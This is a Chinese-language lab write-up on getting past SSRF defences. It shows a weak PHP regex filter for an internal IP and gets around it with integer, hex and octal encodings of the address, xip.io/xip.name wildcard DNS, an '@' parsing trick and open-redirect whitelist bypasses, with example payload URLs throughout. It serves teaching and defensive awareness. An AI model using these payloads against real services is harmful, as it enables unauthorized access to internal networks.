1、实验过程
这一关用了正则表达式限制内网IP的访问,具体的代码如下。必须要吐槽一下,这个方法真的是一个很糟糕的方法,因为它实际上不能起到很好的安全防护作用。
if (preg_match('#^https?://#i', $handler) !== 1) {
echo "Wrong scheme! You can only use http or https!";die();
}
else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1)
{echo "Restricted area!";
die();
}
现在我们就用http://10.0.0.3
来测试
我们可以很明显地看到没有获得响应,但是神奇的IP地址有多种表达方式,我们可以用这些方式来绕过上面那么直白的限制。先用整数表达http://167772163
发出请求。
成功了,我们可以来看看 IP 地址的表达方式。众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。
字符串: 10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163
这些表达方式都能被curl
命令解析为正确的 IP 地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制0x0A000003
表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在20
前面加个0
就会变成8进制,比如http://01200000003
实际上还是http://10.0.0.3
。上面两个表达方式,PHP 的 curl 模块能解析出来。
下面总结一下几种变形
十六进制: http://0x0A.0x00.0x00.0x03
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3
最后一个变形好像只适用于 NodeJS 应用的服务器,点分十进制的最大值为 255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回http://10.0.0.3
。具体为什么可以通过这样的可能要从 TCP/IP 解析 IP 地址的逻辑入手(应用层的限制总能被巧妙地绕过,不是很可靠)。
2、其他常见的绕过方法
DNS泛域名
xip.io
和xip.name
这两个 dns 泛域名,实现绕过的方法是,你在你想访问的 ip 地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的 IP 地址,然后再响应报文中返回。感兴趣的可以看看 《DNS 服务系列之一:泛域名解析的安全案例》:
https://blog.51cto.com/laoxu/1282773
http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://
www.10.0.0.3.xip.name
3、@方法绕过
https://www.sina.com?url=http://google.com# @secret.corp
中@
后面的secret.corp
是真正要访问的 host,前面的google.com#
绕过了 urlparse 的解析
4、白名单绕过
当服务器的白名单只允许 google.com 则你只允许通过 SSRF 获取 google.com,其它的域名则全部拒绝。
唯一的绕过方式是在白名单中找到一个开放重定向(open redirect),我们来看一些例子:
例子1:
当你在 example.com 中发现了一个 SSRF,同时 www.example.com
配置的白名单为 abc.com
。
http://example.com/ssrf.php?url=https://google.com
由于未列入白名单,因此无法获取
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
成功获取了 google.com
例子2:
当你在 example.com 中发现了一个 SSRF,同时 www.example.com
把整个 *.abc.com
列入了白名单。
http://example.com/ssrf.php?url=https://google.com
由于未列入白名单,因此无法获取
你可以通过 *.abc.com
的任何子域接管来绕过他,并将其用于 iframe 或将其重定向到所需的网站。
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
成功获取了 google.com